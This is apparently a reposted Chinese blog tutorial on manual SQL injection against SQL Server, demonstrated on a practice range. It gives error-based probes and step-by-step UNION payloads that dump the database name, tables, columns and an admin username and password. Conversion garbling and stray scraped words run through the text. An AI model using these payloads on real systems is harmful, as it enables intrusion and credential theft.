手工注入——sql server (mssql)注入实战和分析

前言sql

首先要对sql server进行初步的了解。
经常使用的所有变量
@@version:返回当前的Sql server安装的版本、处理器体系结构、生成日期和操做系统。
@@servername:放回运行Sql server的本地服务器名称
top
在sql server,没有MySQL中的limit控制符,若是实现limit控制符功能则可使用top进行代替。
数据库

正文服务器

若是对方网站管理员没有关闭错误消息提示,那么网站

  ;declare @d int        //判断sql server 支持多行语句查询spa

  and (select count(1) from [sysobjects])>=0    //是否支持子查询操作系统

  and user >0            //获取当前数据库用户名code

  and db_name>0    //获取当前数据库名称server

  and (select count(1) from [sysobjects])>=0   //当前数据库名blog

  and 1=(select @@servername)        //本地服务名it

这里就不一一列举了。

若是网站管理员关闭了错误提示,那就只能使用联合查询和盲注了。下面的靶场实例就是关闭错误页面提示的状况下,经过联合查询得到管理员帐号和密码。

第一步,判断注入点

经过观察,发现公告的地方能够进行尝试,以下图

点击公告,而后我们 经过 and 1=1 和and 1=2 发现报错, 说明这里是注入点。以下图

第二步,判断字段数

经过 order by 语句,发现 order by 4 返回正常,order by 5 报错,说明存在四个字段数,以下图。

第三步,爆库

使用联合查询,须要注意的是,使用联合查询时须要前面不可查询,能够将参数2改成-2,也能够构造 and 1=2 两种方式均可以。为了不出现错误,四个字段,都用 null 代替,构造以下语句

union all select null,null,unll,unll  

而后用数字依次代替,判断回显位置,发现第二个字段显示在页面中,将第二个null 替换为 (select db_name()),具体语句为

union all select 1,(select db_name()), null, null 

 

结果为下图,爆出了数据库

第四步,爆表

知道数据库名后,构造以下语句,爆出表名

 union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null

结果以下图

第五步,爆字段

经过构造以下语句,能够爆出全部字段,

union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null

结果以下图

第六步,获取数据

经过构造以下语句

union all select 1,(select top 1 username from manage),null,null

union all select 1,(select top 1 password from manage),null,null

结果以下图

第七步,解密,登录。实战结束

 

sql server(mssql)手工注入总结

第一步,判断注入点。经过 and 1=1 和and 1=2 判断,发现存在注入点,且为数据型。第二步,判断字段数 经过 order by 语句。第三步,判断回显位置 经过 union all select null,null,unll,unll  用数字依次替换,发现,第二个位置回显到页面上。第三步,爆库,经过 union all select 1,(select db_name()), null, null (使用联合查询时,要使得前面不可查询,因此将2改成-2)第四步,爆表,经过 union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null​第五步,爆字段,经过 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null (变换后面得数字1,能够查询出全部字段)第七步,获取数据,经过 union all select1, (select top 1 字段 from 表名),null,null第八步,解密,登录。

相关文章
相关标签/搜索